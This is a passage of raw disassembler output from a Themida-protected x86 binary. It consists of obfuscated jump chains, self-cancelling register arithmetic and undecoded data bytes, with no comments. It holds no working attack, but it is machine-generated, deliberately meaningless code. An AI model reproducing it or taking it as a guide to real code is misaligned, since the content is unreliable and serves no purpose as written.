dup(0) ; --------------------------------------------------------------------------- loc_55267A: ; CODE XREF: Themida_:00557A3Bj add ecx, 4 jmp loc_555462 ; --------------------------------------------------------------------------- loc_552685: ; CODE XREF: Themida_:00553D8Dj pop esp sub esp, 4 mov [esp], eax mov eax, esp jmp loc_559168 ; --------------------------------------------------------------------------- loc_552696: ; CODE XREF: Themida_:00553AE0j add esp, 4 push edi mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 push 4C9Fh jmp loc_561536 ; --------------------------------------------------------------------------- db 80h, 0EAh, 0F3h dd offset dword_5464D4+15h db 0 ; --------------------------------------------------------------------------- loc_5526B9: ; CODE XREF: Themida_:00550DCDj mov [esp], ecx mov cl, 0E0h add bl, 93h add bl, cl jmp loc_553402 ; --------------------------------------------------------------------------- dd 159CB31h, 241C8BDAh, 0E0D5E9h, 24C4B800h, 0ECE9672Eh dd 5100004Fh, 0EA68E9h, 4E88300h, 0E9240433h, 0B868h, 405h dd 0E7E95600h, 590000D4h, 8058C130h, 0CB00C1C3h, 8EE95166h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55270B: ; CODE XREF: Themida_:00556C36j pop edi sub ecx, 16FA38D3h add ecx, 11886A72h add ecx, ebp sub ecx, 11886A72h add ecx, 16FA38D3h pop ebp jmp loc_555889 ; --------------------------------------------------------------------------- aIussq db '‰ã鑟',0 dw 5000h dd 853BE9h, 24348900h, 56E9E689h, 890000F7h, 58542404h dd 405h, 42D00h, 0E9500000h, 0FFFFD296h, 0CE2F0DBBh, 9301E96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552762: ; CODE XREF: Themida_:0054F278j push edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 jmp loc_552ECE ; --------------------------------------------------------------------------- dd 3B53F281h, 0F2813804h, 0F6DE971Fh, 15AD529h, 9EC581C5h dd 815BBE7Ch, 0D63297C5h, 24048B42h, 81E38953h, 4C3h, 4C38300h dd 0ABB5E953h, 0E95A0000h, 0D573h ; --------------------------------------------------------------------------- loc_5527B0: ; CODE XREF: Themida_:00561AC0j pop ecx jmp loc_552CA8 ; --------------------------------------------------------------------------- loc_5527B6: ; CODE XREF: Themida_:00554635j pop ebx jmp loc_554ECE ; --------------------------------------------------------------------------- loc_5527BC: ; CODE XREF: Themida_:0055B08Ej add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_560162 ; --------------------------------------------------------------------------- db 5Bh dd 148BD529h, 4C48324h, 100E6E9h, 0CACD8000h, 0EC83DDF6h dd 241C8904h, 0E9FEB3h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5527EF: ; CODE XREF: Themida_:0054F9A1j mov [esp], esi sub esp, 4 mov [esp], ebx push eax push 1EE235CFh pop eax jmp loc_54FDCB ; --------------------------------------------------------------------------- dd 58C7B951h, 0EC8160A6h, 4, 0B8240489h, 1, 8158C101h dd 6D6334C1h, 7E9C14Ah, 4104E9C1h, 8904EC83h, 0A2E92404h dd 8BFFFFFEh, 9662424h, 0E99C2404h, 0C88Fh, 0BBF57ADh dd 81746D5Dh, 3067D4F7h, 26A42D28h, 0F8296F08h, 826A405h dd 692D5F6Fh, 2D532C6Eh, 37272D1Eh, 1E05D801h, 6837272Dh dd 4D12h, 0BF243C89h, 532C6E69h, 752B3F05h, 9EE95708h dd 0FFFFE1h, 0C6EBE9D8h, 0F281FFFFh, 278E0A69h, 106AF281h dd 5EE993A6h, 950000FAh, 75E9D5F7h db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5528A3: ; CODE XREF: Themida_:00555F1Bj add edi, eax mov eax, [esp] add esp, 4 jmp loc_556D3C ; --------------------------------------------------------------------------- db 5 dd 210A4120h, 0B7E9D801h, 4F000032h, 5F5E5756h, 8104E6C1h dd 4E1735EEh, 5EF02903h, 9CEB815Fh, 551B2F73h, 3773D1BDh dd 6DB95113h, 816A5159h, 75374DE9h, 5CC1811Fh, 81E0B74Eh dd 0D00BCFEDh, 0E9CD014Fh, 0FFFFC8A6h, 9CC83B66h, 0FFB4C0E9h dd 814F5FFFh, 7A3F97F7h, 0C1F4E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552912: ; CODE XREF: Themida_:0055615Cj sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_555563 ; --------------------------------------------------------------------------- aS_6 db '±^éú',0 align 4 loc_552928: ; CODE XREF: Themida_:0055AAEEj push 5C2h jmp loc_5570A9 ; --------------------------------------------------------------------------- dw 248Bh dd 0B48BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55293A: ; CODE XREF: Themida_:0055E46Cj xor al, bl pop ebx sub bl, al jmp loc_55E3AC ; --------------------------------------------------------------------------- aB3Zsvo db 'Æ+3×Zé¢O',0 dw 0C100h dd 0BF5707E9h, 4F100556h, 8FFEF81h, 81472D13h, 0B48485EFh dd 5FF92110h, 0E831C181h, 0CA293273h, 0ED10E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552976: ; CODE XREF: Themida_:00556498j mov edi, [esp] add esp, 4 push 27BEh jmp loc_55B9C2 ; --------------------------------------------------------------------------- db 5Ch, 30h, 0C3h dd 8FC0B60Fh, 2EE98704h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552997: ; CODE XREF: Themida_:0054FED1j push 665h mov [esp], eax push esp pop eax jmp loc_55FD8E ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 4240483h, 582434FFh, 3CFAE9h db 0 ; --------------------------------------------------------------------------- loc_5529B9: ; CODE XREF: Themida_:00558873j add dword ptr [esp], 340B06D8h jmp loc_55BED1 ; --------------------------------------------------------------------------- db 0C0h, 0EEh, 4 dd 800BC680h, 0F108B1EEh, 8324148Bh, 0E98004C4h, 0D0E95027h dd 810000D5h, 816597E9h, 4EC8333h, 0BA241489h, 5C82020Ah dd 0C9F0E9h, 24048100h, 2D8841BCh, 0FFB3C4E9h, 9B168FFh dd 1C890000h, 47E95424h db 0EBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552A0F: ; CODE XREF: Themida_:0055696Dj pop edx push 6BB4h mov [esp], edi push ebp mov ebp, esi mov edi, ebp pop ebp mov ecx, edi mov edi, [esp] push ebx jmp loc_5517C4 ; --------------------------------------------------------------------------- aCQsaj db 'Áç',7,'Q逦',0 align 2 dw 0C981h dd 51FA40ABh, 6C40F181h, 0CF296A6Dh, 0D6E95259h, 8B0000CEh dd 0F1F62424h, 0CCB60F66h, 6FA468h, 24148900h, 0FFC4DDE9h dd 53E589FFh, 468h, 90E95B00h, 810000E4h, 4C4h, 0E150E900h dd 0F1290000h, 4514E9h, 0FF505F00h, 58042474h, 5C24048Fh dd 0BD242C89h, 7F24827h, 0F61BF57h, 48E92FFAh, 1000012h dd 0EB015FFBh, 4326EB81h, 525D475Ah, 0B951C688h, 0 dd 3E93E9h db 0 ; --------------------------------------------------------------------------- loc_552AB5: ; CODE XREF: Themida_:0055E653j xor [esp], esi xor esi, [esp] pop esp push edi mov edi, 7D393F1Ah sub edi, 2DD04F3Eh or edi, 17221EAEh sub edi, 5961C5Ch add edi, 0DF0D2E07h or ecx, edi mov edi, [esp] add esp, 4 shr ecx, 8 sub ecx, 3DFE93h and eax, ecx jmp loc_55A654 ; --------------------------------------------------------------------------- loc_552AF2: ; CODE XREF: Themida_:0055574Fj push ebp mov ebp, 6B3C23BBh shl ebp, 4 jmp loc_54E02F ; --------------------------------------------------------------------------- dd 0F261BF25h, 4A202D5Bh, 0C281EBDBh, 7EC9696Ah, 6C68C229h dd 89000064h, 6ABE2434h, 297EC969h, 6E95EF2h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552B27: ; CODE XREF: Themida_:0055F646j pop ecx sub esp, 4 mov [esp], eax jmp loc_55A983 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 81E78957h, 4C7h, 0DF90E900h, 0CA800000h, 0A3B753FEh dd 0E7C0CFFEh, 52D7F608h, 0E6C00EB6h, 0CCC68002h, 0E945E680h dd 0FFFFC77Bh, 0C108E3C1h, 0E3D107E3h, 73CB814Bh, 5166B52Ch dd 0FDFFFBB9h, 59CB2976h, 15BD889h, 2434FFC2h, 4EC8358h dd 54241C89h, 0A1FEE95Bh, 14870000h, 0C6815C24h, 4, 0E9243487h dd 0FFFFFDE1h, 5C243487h, 3142E9h, 0EA815A00h, 7E386E89h dd 0C281FA01h, 7E386E89h, 6CEDE9h, 7A686600h, 4896665h dd 0BE665624h, 0B86634A4h, 0A8E94108h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552BDB: ; CODE XREF: Themida_:00560958j pop ecx push esi mov esi, 476B219Fh sub edx, esi jmp loc_55B693 ; --------------------------------------------------------------------------- db 83h, 0C1h, 2 dd 12AE951h, 0E9AD0000h, 834Fh, 4BF57h, 212D0000h, 17DE175h dd 752105F8h, 9DE97DE1h, 0FFFFFFE1h, 55E92434h, 0BE0000A1h dd 1969294Fh, 15EF201h, 4FEA81C2h, 8B196929h, 0C4832404h dd 5B976804h, 14890000h, 2474FF24h, 2C08E904h, 0F5210000h dd 1842685Eh, 34890000h, 50E95524h, 0FFFFF0h, 285A66F0h dd 2A6866F0h, 0CE66E938h, 815DFFFFh, 0D4E3D4C6h, 2A3A2DE3h dd 0F02915D8h, 0D82A3A05h, 26F5E915h, 1C8B0000h, 4C48324h dd 0FFD16AE9h db 0FFh ; --------------------------------------------------------------------------- loc_552C81: ; CODE XREF: Themida_:0055B994j add ebp, 4 add ebp, 4 push 2FDDh mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_54EB11 ; --------------------------------------------------------------------------- loc_552CA8: ; CODE XREF: Themida_:005527B1j sub edi, 303C1A23h add edi, 62627BCEh sub edi, 29DF2889h jmp loc_554A39 ; --------------------------------------------------------------------------- loc_552CBF: ; CODE XREF: Themida_:005537EAj add eax, edi jmp loc_55B924 ; --------------------------------------------------------------------------- loc_552CC6: ; CODE XREF: Themida_:0055886Dj sub ch, bh pop ebx jmp loc_55EAAC ; --------------------------------------------------------------------------- aSpsgr db 'SPé£r',0 dd 0A9E95E00h, 0B7000012h, 0F471E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552CE2: ; CODE XREF: Themida_:00562432j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push ebp push 5929h jmp loc_559769 ; --------------------------------------------------------------------------- db 0C1h dd 882D07E8h, 4020D079h, 0E07B0A05h, 4175E91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552D0A: ; CODE XREF: Themida_:005622A7j mov esp, [esp] jmp loc_55A3FE ; --------------------------------------------------------------------------- dw 68B9h dd 0E922BB29h, 0FFFFFD16h, 6B84E954h, 89500000h, 40FE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552D2A: ; CODE XREF: Themida_:00553416j dec esi add esi, 0B69A8A6Ah and edx, esi pop esi add edx, 644A366Ch shr edx, 6 add edx, 0DFFC41Bh or ebx, edx mov edx, [esp] add esp, 4 xor ebx, 233BE7F0h jmp loc_554C3F ; --------------------------------------------------------------------------- loc_552D56: ; CODE XREF: Themida_:0055647Bj pop ebp shr ecx, 7 dec ecx jmp loc_5543A4 ; --------------------------------------------------------------------------- dd 0E91C6F09h, 1717h, 0C581E589h, 4, 4C581h, 2C870000h dd 24248B24h, 31243C33h, 3C33243Ch, 0B33BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552D8A: ; CODE XREF: Themida_:005593C6j pop edi add eax, edx add eax, 1B45622Dh jmp loc_55E79E ; --------------------------------------------------------------------------- aQphp?mSgp db 'QPh?¬=ég',0 dw 8100h dd 9D1FAFE2h, 5EAC143h, 6260CA81h, 0C2813E90h, 0C16B959Fh dd 73E5E981h, 0D0E94B7Eh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552DC3: ; CODE XREF: Themida_:0055E358j add bl, ah jmp loc_555512 ; --------------------------------------------------------------------------- dw 0F581h dd 0DE83E2B5h, 5E5DE801h, 805D801h, 6859D250h, 487Eh, 2108E9h dd 24348900h, 0B79BB53h, 57E925A0h db 0F5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552DF3: ; CODE XREF: Themida_:0056092Dj mov [esp], esi mov esi, esp add esi, 4 jmp loc_553AC6 ; --------------------------------------------------------------------------- loc_552E03: ; CODE XREF: Themida_:00561162j pop edi neg ebp jmp loc_55031C ; --------------------------------------------------------------------------- loc_552E0B: ; CODE XREF: Themida_:00558D64j push dword ptr [esp] push dword ptr [esp] pop eax push 58CDh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push ebx mov ebx, esp push eax mov eax, 19D62E8h inc eax add eax, 19F43349h dec eax shr eax, 8 xor eax, 1B9192h jmp loc_56018B ; --------------------------------------------------------------------------- loc_552E47: ; CODE XREF: Themida_:00556FCFj add esi, ecx pop ecx add esi, 4 jmp loc_550209 ; --------------------------------------------------------------------------- dw 0D5F6h dd 8059EE88h, 0B1516EC6h, 3FC98043h, 0C0EAE180h, 0E18005E9h dd 0C7A1E9B5h, 50660000h, 0C708FBB0h, 0D7F65866h, 0FFE270E9h db 0FFh ; --------------------------------------------------------------------------- loc_552E7D: ; CODE XREF: Themida_:0054E589j xchg ebx, [esp] pop ebx push ecx mov ecx, 54645B12h and ebx, ecx pop ecx push edi mov edi, 0 sub edi, ebx xchg edi, ebx pop edi push ebx dec dword ptr [esp] pop ebx push ecx jmp loc_553C4D ; --------------------------------------------------------------------------- dd 68241489h, 69693071h, 1A2DB85Ah, 0D001ED6Ah, 0CB4CE9h db 0 ; --------------------------------------------------------------------------- loc_552EB5: ; CODE XREF: Themida_:0055FF77j push dword ptr [esp+4] jmp loc_556D6A ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 2414D366h, 0AEF7E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552ECE: ; CODE XREF: Themida_:00552773j add ebx, 4 xchg ebx, [esp] jmp loc_562661 ; --------------------------------------------------------------------------- db 0F6h, 0DDh, 52h dd 0D528E0B2h, 0B7CEE95Ah, 0EE80FFFFh, 5AF1002Dh, 0B46E9h dd 51EAB800h, 0D0F74C2Fh, 0E902E8C1h, 0AE51h ; --------------------------------------------------------------------------- loc_552F00: ; CODE XREF: Themida_:00550B5Ej add ecx, 4 xchg ecx, [esp] pop esp jmp loc_551B3E ; --------------------------------------------------------------------------- db 1 dd 0ACE957F3h, 2900007Fh, 8B042474h, 0C4812434h, 4, 8904EC83h dd 0F068241Ch, 89000073h, 7F68243Ch, 5F20B148h, 0C3E9FB89h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552F3F: ; CODE XREF: Themida_:005570F8j push ecx jmp loc_554DD5 ; --------------------------------------------------------------------------- loc_552F45: ; CODE XREF: Themida_:0055178Aj add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_561BA6 ; --------------------------------------------------------------------------- dw 2D04h dd 2D2CF828h, 7AE92B04h, 50FFFFCFh, 4B8h, 0AACEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552F72: ; CODE XREF: Themida_:005549AFj mov [esp], dx push eax mov al, 0D0h push ebx mov bl, 41h push eax mov ah, 41h xor ah, 9Dh dec ah xchg bl, ah not bl xchg bl, ah sub ah, 0DBh push ebx mov bh, ah mov dh, bh pop ebx jmp loc_54E3AB ; --------------------------------------------------------------------------- dd 9509DAB8h, 4196057Ch, 0D8F772D6h, 5101C083h, 0B9h, 0E9C12900h dd 6ADBh ; --------------------------------------------------------------------------- loc_552FB4: ; CODE XREF: Themida_:005609CAj mov eax, [esp] add esp, 4 and al, dh mov dx, [esp] add esp, 2 push 6871h mov [esp], ebx push eax jmp loc_55685D ; --------------------------------------------------------------------------- dd 55241C89h, 43F1BF57h, 0E7814154h, 338607Ah, 0F707E7C1h dd 1CF781D7h, 5267C723h, 0FA2802BAh, 5AD70119h, 0C6E9FD89h dd 81FFFFE3h, 2C4653EBh, 24048B3Bh, 4C481h, 1C330000h dd 241C3124h, 8B241C33h, 0B60F2424h, 4EC83C8h, 89240C89h dd 0E46850E1h, 5877A155h, 0F703E0C1h, 0E96CE9D0h, 0C890000h dd 8733E924h, 7DB00000h, 0FE5BF800h, 30042CC0h, 24048BC1h dd 4C481h, 0EC810000h, 2, 35B9E9h db 0 ; --------------------------------------------------------------------------- loc_55305D: ; CODE XREF: Themida_:005571CFj sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_551C8D ; --------------------------------------------------------------------------- db 0BFh, 76h, 43h dd 7C011F73h, 0AEE90824h, 0BAFFFFE1h, 3B5AB657h, 295AD729h dd 243C8BF9h, 4C481h, 0E9C10000h, 5ABE5602h, 51316F7Fh dd 949EE9h db 0 ; --------------------------------------------------------------------------- loc_5530A1: ; CODE XREF: Themida_:005552F8j push edx push ecx jmp loc_555973 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0A09DE9h, 0E9F02100h, 0FFFFFC1Dh, 5004C483h dd 405E089h, 5000000h, 4, 14E1E9h, 69C78100h, 81E2D12Ah dd 0B711CAC7h, 5FF93157h, 0F759CF01h, 0FFEF83D7h, 0BA52D7F7h dd 4D7F1360h, 6C9DCA81h, 0C2813063h, 1D897A9Dh, 0ABE9DAF7h dd 5F000043h, 815DE889h, 0E80571EBh, 28E9565Dh, 10000C4h dd 991EE9CDh, 34FF0000h, 89525D24h, 6B75E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553122: ; CODE XREF: Themida_:0055BEF9j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp movsx ecx, al push 10F1h jmp loc_558D69 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0C0830000h, 0BE73E904h, 0BB53FFFFh, 4, 0EDF8E9h, 24048700h dd 2414895Ch, 5A2414F7h, 1461CA81h, 0EAE9411Eh, 31000045h dd 4DE95EF1h, 810000C2h, 4C2h, 24143300h, 0C67EE9h, 0B1516600h dd 66CB2840h, 0E9515059h, 922Eh ; --------------------------------------------------------------------------- loc_55318C: ; CODE XREF: Themida_:005563F3j add esp, 4 add esp, 4 push 18D8h jmp loc_55DA8C ; --------------------------------------------------------------------------- loc_55319C: ; CODE XREF: Themida_:0055D194j push ebx mov ebx, 5B9E00F7h sub ebx, 588B114Dh shl ebx, 4 push ebx not dword ptr [esp] pop ebx xor ebx, 0A6C0208Dh jmp loc_55F343 ; --------------------------------------------------------------------------- db 66h dd 4DCA8059h, 426EA80h, 2CD00000h, 0D8285A00h, 0E95BB92Ch dd 4000h ; --------------------------------------------------------------------------- loc_5531D4: ; CODE XREF: Themida_:0054EAC8j pop esi xor ebx, [esp] jmp loc_54FF3E ; --------------------------------------------------------------------------- loc_5531DD: ; CODE XREF: Themida_:00554DFBj not ecx xchg ecx, esi sub esp, 4 mov [esp], ebp mov ebp, 1DB60A4Ch add ebp, 1A76673Dh inc ebp shr ebp, 7 shl ebp, 3 jmp loc_55A0BD ; --------------------------------------------------------------------------- db 52h, 0BAh, 0CFh dd 811E9158h, 0E1E89E2h, 26EA810Ah, 1EBACAAh, 0CB015AD3h dd 3EA468h, 0BA8AE900h, 8B660000h, 51562404h, 0BE56E189h dd 3B2F6EA2h, 0CE81D6F7h, 7C6C724Eh, 0FFD35CE9h, 9CEA81FFh dd 8B1A030Fh, 90E9242Ch, 5BFFFFF2h, 4C6815Eh, 0E9000000h dd 8A96h, 0FB20A8BEh, 0B2EE8167h, 8115433Dh, 0ED738DF6h dd 19F68134h, 31E343C8h, 0EB015EF5h, 5D2434FFh, 0E904C483h dd 0FFFFC782h, 0B240E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553286: ; CODE XREF: Themida_:0055D053j mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax jmp loc_5557F5 ; --------------------------------------------------------------------------- db 81h dd 73788AF1h, 59CF897Eh, 0FFF3CAE9h, 5EF101FFh, 8B240C87h dd 96E92424h, 55FFFFC7h, 4BDh, 8BEB0100h, 0C481242Ch, 4 dd 8704C383h, 0E95C241Ch, 90A2h ; --------------------------------------------------------------------------- loc_5532D4: ; CODE XREF: Themida_:00554E31j pop ebx dec ebx push ecx mov ecx, 52E77945h jmp loc_55EDED ; --------------------------------------------------------------------------- loc_5532E1: ; CODE XREF: Themida_:005500EFj add esp, 4 jmp loc_556400 ; --------------------------------------------------------------------------- loc_5532E9: ; CODE XREF: Themida_:0055531Bj add ecx, 4 add ecx, 4 jmp loc_54F645 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 4C781h, 3C330000h, 243C3124h, 8B243C33h dd 0E9532424h, 0FFFFF1B6h, 5435ED81h, 0FD0120CCh, 5435C581h dd 0D4E920CCh, 52FFFFFDh, 38E9E289h, 5DFFFFD1h, 5C243487h dd 0D3E9D101h, 5000004Fh, 4B8h, 24440100h, 46E95804h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55334F: ; CODE XREF: Themida_:0054EB63j xor ebp, [esp] pop esp push esi push ebx mov ebx, 1CAB649Ch push ebx pop esi pop ebx sub esi, 1CAB6498h add ecx, esi pop esi xchg ecx, [esp] pop esp jmp loc_5560F5 ; --------------------------------------------------------------------------- loc_55336F: ; CODE XREF: Themida_:0055AE15j mov edi, 154F58BFh xor edi, 5D0982Ah sub ecx, edi pop edi sub eax, 380D7E23h sub eax, ecx add eax, 380D7E23h pop ecx jmp loc_55B3D2 ; --------------------------------------------------------------------------- db 68h dd 0FA9h, 0FFCE9DE9h, 1C77FFFFh, 1858669Dh, 0E99C2404h dd 5FCh ; --------------------------------------------------------------------------- loc_5533A8: ; CODE XREF: Themida_:00555C2Bj push 7E1Ch mov [esp], ecx push edx mov edx, 7E665361h not edx add edx, 0E637C1F1h push edx add dword ptr [esp], 68534C18h pop ecx sub ecx, 68534C18h pop edx sub eax, 6C891336h jmp loc_54FAB6 ; --------------------------------------------------------------------------- dd 0BD242C89h, 2, 0FFF245E9h, 5E1EB8FFh, 0C70511B1h, 2927D902h dd 0EB0158C3h, 60E5C381h, 34FF398Ah, 2D08E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553402: ; CODE XREF: Themida_:005526C3j sub bl, 93h push dword ptr [esp] jmp loc_555D50 ; --------------------------------------------------------------------------- loc_55340D: ; CODE XREF: Themida_:0055D8B6j add esi, 7C111802h shl esi, 2 jmp loc_552D2A ; --------------------------------------------------------------------------- db 59h dd 4EC81h, 14890000h, 4685524h, 8B000000h, 16E9242Ch, 81000073h dd 0A6D43DF2h, 8BD321DDh, 89572414h, 4C781E7h, 0E9000000h dd 26BCh, 42474FFh, 24048F5Eh, 68C3315Ch, 0DB5h, 0E9240489h dd 0FFFFE413h, 0C3803AB0h, 51C30079h, 0EB2879B5h, 48B6659h dd 2C48324h, 66C0B60Fh, 5524148Bh, 9849E9h, 962D5A00h dd 5704E33Bh, 0E901BD68h, 5B37E974h, 13680000h, 8900003Eh dd 0E954243Ch, 0A0Ch, 8BE80158h, 0C481242Ch, 4, 96B85051h dd 0E923EC2Fh, 0FFFFD6F9h, 8E3AB4BBh, 0D1C38112h, 8124EE56h dd 0C977FFF3h, 8E3C169h, 0FFD92AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5534D5: ; CODE XREF: Themida_:0055E090j mov edx, esp jmp loc_558BCF ; --------------------------------------------------------------------------- loc_5534DC: ; CODE XREF: Themida_:00551BD6j mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], edi jmp loc_55167F ; --------------------------------------------------------------------------- dw 0D5F7h dd 5743EB87h, 387A5ABFh, 5FFB3156h, 0E95BDA89h, 1Dh, 0F7242C31h dd 242C87D5h, 5F2434FFh, 8104C483h, 4ECh, 243C8900h, 9C52E9h dd 79EB2D00h, 0F02D4D8Ch, 102832Ch, 2CF005D0h, 0BA520283h dd 4D8C79EBh, 5A5AD001h, 6802C083h, 2B52h, 0E9240489h dd 0BD3Eh ; --------------------------------------------------------------------------- loc_553550: ; CODE XREF: Themida_:0055CCA5j xor edx, 36C79CDh mov ebp, edx jmp loc_55A85F ; --------------------------------------------------------------------------- db 59h, 81h, 0EEh dd 0C3D1E75Ah, 895EF789h, 753BE9FDh, 14870000h, 0CF6AE924h dd 15B0000h, 4A5368D8h, 0C890000h, 761DB924h, 0C8010A35h dd 241C8B59h, 0E904C483h, 3404h, 0D22AE956h, 0EC830000h dd 243C8904h, 0B73418BFh, 0E7895748h, 4C781h, 0BE560000h dd 4, 71E9F729h, 100009Fh, 5DC581F5h, 5E152659h, 3C3CE9h db 0 ; --------------------------------------------------------------------------- loc_5535C9: ; CODE XREF: Themida_:00550E7Dj xchg ebp, [esp] mov esp, [esp] sub ebx, 2EC400DAh add ebx, edi add ebx, 2EC400DAh add eax, [ebx] push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_55CA94 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9240C89h, 0D9C7h, 81242C8Bh, 4C4h, 1C470900h, 0FFCE96E9h dd 0E9EE88FFh, 0FFFFE1C2h, 4C481h, 48F0000h, 1DE95C24h dd 5AFFFFF0h, 0BA52C801h, 4AE12A87h, 92E9D001h, 89FFFFDFh dd 0E954242Ch, 92ADh, 1DBD555Ah, 8120C127h, 156209F5h dd 6AE5815Dh, 81574909h, 4000FCEDh, 5DEF2955h, 5C243C87h dd 81242489h, 42404h, 2C8B0000h, 4C48124h, 68000000h, 3AE3h dd 0BA241489h, 6A9B19EDh, 0D0DBE9h db 0 ; --------------------------------------------------------------------------- loc_553681: ; CODE XREF: Themida_:0054E7EAj and edi, 621F5FC2h jmp loc_55A9E0 ; --------------------------------------------------------------------------- dd 3635BA52h, 0D2F750F2h, 0C103EAC1h, 8CE908EAh db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55369F: ; CODE XREF: Themida_:0055967Aj push esi mov esi, 0B95EBDC9h add edx, esi jmp loc_55E19C ; --------------------------------------------------------------------------- dd 0E924048Bh, 2151h, 0EA9B850h, 92E9224Dh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5536BF: ; CODE XREF: Themida_:00550BF2j push edx mov edx, 62136F64h jmp loc_55B412 ; --------------------------------------------------------------------------- dw 0D601h dd 1A1DEE81h, 0E95A0835h, 27C5h ; --------------------------------------------------------------------------- loc_5536D8: ; CODE XREF: Themida_:00550E15j sub esp, 4 mov [esp], eax push esp jmp loc_55B910 ; --------------------------------------------------------------------------- loc_5536E4: ; CODE XREF: Themida_:005546DAj add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ebx jmp loc_55F507 ; --------------------------------------------------------------------------- dw 0E1C0h dd 0D2E0E906h, 8366FFFFh, 66022404h, 0E924048Fh, 0FFFFECEEh dd 0E9E18951h, 6B99h, 8F04C483h, 248B2404h, 9CC88424h dd 0FFA69CE9h db 0FFh ; --------------------------------------------------------------------------- loc_553729: ; CODE XREF: Themida_:0055DA3Bj mov eax, 53590472h sub [esp+8], eax pop eax add [esp+4], ebp push eax mov eax, 53590472h add [esp+8], eax pop eax jmp loc_558078 ; --------------------------------------------------------------------------- db 1 dd 5A685EF1h, 8900007Ah, 0CAE9240Ch, 680000E6h, 7A10h dd 54240C89h, 592434FFh, 4C481h, 0C1810000h, 4, 20DAE9h dd 89525300h, 4C281E2h, 83000000h, 0E3E904EAh, 880000BFh dd 562E9F3h, 83550000h, 3C8904ECh, 4EC8124h, 89000000h dd 4EB9240Ch, 813B4A5Bh, 0BE37CDC9h, 9911E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5537AE: ; CODE XREF: Themida_:0055B431j xor edx, 34F673B1h push edi mov edi, 78009Fh or edi, 83709ABh sub edi, 172D0BD4h jmp loc_558376 ; --------------------------------------------------------------------------- db 81h dd 0C8151BE6h, 0FBC68137h, 1FDBFEEh, 24348BF2h, 0FFD307E9h db 0FFh ; --------------------------------------------------------------------------- loc_5537E1: ; CODE XREF: Themida_:0055478Aj sub edi, 0E9F7C2BFh add eax, edi pop edi jmp loc_552CBF ; --------------------------------------------------------------------------- db 81h dd 9E629BC6h, 0FFC6811Bh, 0F7FFFFFFh, 5317E9DEh, 0F3010000h dd 0DDADE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55380A: ; CODE XREF: Themida_:0055BBCAj mul ecx push 56D4h mov [esp], edx push eax pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_55381B: ; CODE XREF: Themida_:00557B18j mov eax, 2 add edi, eax jmp loc_55BA90 ; --------------------------------------------------------------------------- loc_553827: ; CODE XREF: Themida_:00550322j mov esi, 0FFFFFFFFh add ebp, esi pop esi add ebp, 778DA5F4h mov ebx, ebp jmp loc_555D3E ; --------------------------------------------------------------------------- dd 4C181h, 0B8500000h, 4, 7AD8C181h, 0C1296150h, 0BEDEE9h dd 0C1D2F700h, 0EA8107E2h, 12980147h, 0F83FF281h, 0D301CEA1h dd 0E683E9h, 242C8900h, 8E70CBBDh, 25C5816Eh, 527E8942h dd 2F17BB53h, 53BA7D77h, 29A50957h, 0D2F75BDAh, 7747E281h dd 0F28154ADh, 0BD3AE5B7h, 20E9D531h, 550000C1h, 25E9C589h dd 66FFFFB9h, 53240C8Bh, 0BF575B54h, 6F657680h, 4EC81h dd 1C890000h, 6DF6BB24h, 0E3C17131h, 4EC8306h, 0BF243C89h dd 7AB415BBh, 0F30CF81h, 0DFF72214h, 3CCDCF81h, 0C7817603h dd 25A76BE0h, 95FFB29h, 0E7815BDFh, 137D62D1h, 4AA2E9h dd 24048700h, 240C895Ch, 0C181E189h, 